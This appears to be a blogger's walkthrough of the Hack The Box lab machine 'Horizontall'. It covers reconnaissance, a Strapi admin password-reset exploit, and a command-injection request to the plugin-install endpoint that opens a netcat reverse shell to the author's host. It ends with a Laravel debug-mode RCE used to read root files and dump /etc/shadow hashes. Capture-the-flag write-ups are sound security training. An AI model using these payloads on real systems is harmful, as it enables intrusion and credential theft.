0x00 r3c0n
First things first: start instance, grab IP address, add to /etc/hosts
10.129.34.170 horizontall.htb
Nmap scan - all ports:
❯ sudo nmap -sV -sC -p- horizontall.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 22:56 EDT
Nmap scan report for horizontall.htb (10.129.34.170)
Host is up (0.026s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.98 seconds
Standard SSH and HTTP ports open - box has nginx serving traffic through port 80. If we navigate to the page, we see that it is advertising some sort of CMS. Enumeration led me to believe that there has to be some information in the static files, since directory listing pages returned 403 for common paths like /js
and /css
and 404 for most of my path traversal attempts. Dirbuster did not return anything useful either so the only thing left was looking at any custom scripts that were being served by the site.
Looking at the source for http://horizontall.htb/js/app.c68eb462.js we see a note:
...
//# sourceMappingURL=app.c68eb462.js.
If we make a query to the mapping file, we see the source before obfuscation... nice. A single axios http call being made to a subdomain: http://api-prod.horizontall.htb/reviews. Let's ping it and see what's up:
❯ curl http://api-prod.horizontall.htb/reviews
[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]
It returns a json payload for the reviews that we see on the main page. Nothing particularly useful there but now we have a subdomain we can poke at.
❯ curl http://api-prod.horizontall.htb/
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>Welcome to your API</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
</style>
</head>
<body lang="en">
<section>
<div class="wrapper">
<h1>Welcome.</h1>
</div>
</section>
</body>
</html>
❯ dirb http://api-prod.horizontall.htb /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Aug 29 23:16:31 2021
URL_BASE: http://api-prod.horizontall.htb/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://api-prod.horizontall.htb/ ----
+ http://api-prod.horizontall.htb/admin (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/Admin (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/ADMIN (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/favicon.ico (CODE:200|SIZE:1150)
+ http://api-prod.horizontall.htb/index.html (CODE:200|SIZE:413)
+ http://api-prod.horizontall.htb/reviews (CODE:200|SIZE:507)
+ http://api-prod.horizontall.htb/robots.txt (CODE:200|SIZE:121)
+ http://api-prod.horizontall.htb/users (CODE:403|SIZE:60)
-----------------
END_TIME: Sun Aug 29 23:19:01 2021
DOWNLOADED: 4612 - FOUND: 8
The main page for the subdomain serving the APIs was underwhelming, just a plain "Welcome." but if we crank out dirb
we end up seeing a /users
API returning 403 and even more importantly, an /admin
page.

0x01 f00th01d
This next part took some time. I tried to find some information about strapi and ways to bypass the admin page or maybe some default credentials. Nothing solid turned up. I went back to look at the matrix for the box and noticed that it was really heavy on CVE so I used my best friend (Google) to find two likely candidates:
- https://www.cybersecurity-help.cz/vdb/SB2019111505 - Weak password recovery mechanism, and
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-19609&scoretype=cvssv2 - RCE for install plugin component in admin dashboard
My thinking here was that we could chain these by first bypassing the admin dashboard and then establishing RCE through the plugin install feature. Neither of these had good PoC linked from them; however, I managed to find some PoC for both on personal blog sites.
thatsn0tmysite has a wordpress blog that demonstrates the first issue. Since this vulnerability was fixed in strapi 3.0.0-beta.17.5, we need to make sure that the page is vulnerable. Lucky for us, there is an API for that.
❯ curl http://api-prod.horizontall.htb/admin/strapiVersion
{"strapiVersion":"3.0.0-beta.17.4"}
The version before the fix, that's convenient. Looking at the other CVE for the RCE, we see that it was only fixed in 3.0.0-beta.17.8 so we're in luck there too. From the PoC script, we can see what's happening:
- It checks the strapi version - but attempts the exploit regardless
- It starts a session and sends the POST requests to reset the password given the email of the admin dashboard user
- It prints out the response content - including the JWT
I copy the script and make some small adjustments to not leave the code object empty, as suggested in the blog post, and then run it with what I can only imagine would be the admin email address: admin@horizontall.htb
. Has to be, right?
❯ python3 strapi.py admin@horizontall.htb http://api-prod.horizontall.htb asdfqwer1234
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjk2NjkwLCJleHAiOjE2MzI4ODg2OTB9.xw-r7xHTNpw1xmv_-Hf_GISe-m-wFG349vDKBYg9n7E","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}'
Jackpot! We can head over the admin page again and...

0x02 us3r
I looked around the page but there was no apparent place to upload a plugin so I started Googling again. Bit Therapy - a personal blog - has a post on this exact exploit. All that is needed is a simple POST request to the plugin install endpoint.
❯ curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjk2NzQ3LCJleHAiOjE2MzI4ODg3NDd9.LcVggmyG-F6aA-YYngrEtlhl3IkLJdQW60q2eQXlkXw' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && \$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 4444 >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.129.34.170] 34266
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
developer:x:1000:1000:hackthebox:/home/developer:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
strapi:x:1001:1001::/opt/strapi:/bin/sh
For some reason, the traditional netcat reverse shell does not work but the OpenBSD variant does? The cheat sheet I use: PayloadsAllTheThings.
I didn't realize it at the time but strapi
is actually the user we want. The developer
user is somewhat of a rabbithole. I found the mysql credentials for the user but this is not their POSIX password and the DB only has the hash for the admin password (the password we had just reset)... If you look in their /home
directory though, we have read access to the first flag:
strapi@horizontall:/var/www/html$ ls -al /home/developer
ls -al /home/developer
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 12:07 .
drwxr-xr-x 3 root root 4096 May 25 11:43 ..
lrwxrwxrwx 1 root root 9 Aug 2 12:05 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 12:53 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 12:47 .bashrc
drwx------ 3 developer developer 4096 May 26 12:00 .cache
-rw-rw---- 1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 11:54 .config
drwx------ 3 developer developer 4096 May 25 11:45 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 19:44 .local
drwx------ 12 developer developer 4096 May 26 12:21 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 11:21 .ssh
-r--r--r-- 1 developer developer 33 Aug 29 23:36 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 12:07 .viminfo -> /dev/null
strapi@horizontall:/var/www/html$ cat /home/developer/user.txt
cat /home/developer/user.txt
2428cf699c59cfeb0e0c1d344e1a5b5c
Side note, I hate simple netcat reverse shells so my favorite way to upgrade when python is installed:
$ which python
/usr/bin/python
$ python -c "import pty; pty.spawn('/bin/bash');"
strapi@horizontall:~/myapi$
0x03 r00t
Basic enumeration - netstat
- shows another service listening on port 8000 which we did not have access to before because the port is closed. curl http://localhost:8000
shows that it is running something called Laravel - some type of PHP framework. Even worse, looks like it's running as root
#rip.
A little more Googling to find an RCE taking advantage of Laravel debug mode: https://www.exploit-db.com/exploits/49424. Some setup is needed since the box restricts internet access to within the VPN, we have to host the PoC script and phpggc
, which is a dependency of the script, on our machine and retrieve it on the box. Finally, once everything is set-up, we get RCE.
strapi@horizontall:/tmp$ python3 exploit.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log whoami
<developer/myproject/storage/logs/laravel.log whoami
Exploit...
root
In terms of the log path, that was somewhat of a guess. I noticed the myproject
directory in the developer account but did not have permission to read it. I assumed that this is where the laravel service was executed from (probably could have confirmed through ps aux
but I was lazy) and picked the default path for this log relative to the project root. Anyway, here is flag and how to get the root hash you likely needed to view this writeup:
strapi@horizontall:/tmp$ python3 exploit.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log "cat /root/root.txt"
<oject/storage/logs/laravel.log "cat /root/root.txt"
Exploit...
2c65766308fa021a6baac44057c9a571
strapi@horizontall:/tmp$ python3 49424 http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log "cat /etc/shadow"
<yproject/storage/logs/laravel.log "cat /etc/shadow"
Exploit...
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18772:0:99999:7:::
developer:$6$XWN/h2.z$Y6PfR1h7vDa5Hu8iHl4wo5PkWe/HWqdmDdWaCECJjvta71eNYMf9BhHCHiQ48c9FMlP4Srv/Dp6LtcbjrcVW40:18779:0:99999:7:::
mysql:!:18772:0:99999:7:::
strapi:$6$a9mzQsIs$YENaG2S/H/9aqnHRl.6Qg68lCYU9/nDxvpV0xYOn6seH.JSGtU6zqu0OhR6qy8bATowftM4qBJ2ZA5x9EDSUR.:18782:0:99999:7:::
0x04 f1nal n0t3s
Nice box wail99! Was a little too heavy on the CVE side for my taste, but it was still fun. The box itself took me ~2-3 hours but most of that time was spent messing around/Googling. If I started on time instead of a day late, I would like to think I would have made top 25 for once ;)
This is my first writeup on this new subdomain powered by Ghost. So far, I'm liking it. It seems really extensible and also makes pwn -> writeup/publish time much shorter. I have also added a comment section below, so feel free to leave me feedback.
I just pwned Horizontall in Hack The Box! https://t.co/MGTlDrcHDC #hackthebox #htb #cybersecurity
— 0x00 👻 (@Elveskevtar) August 30, 2021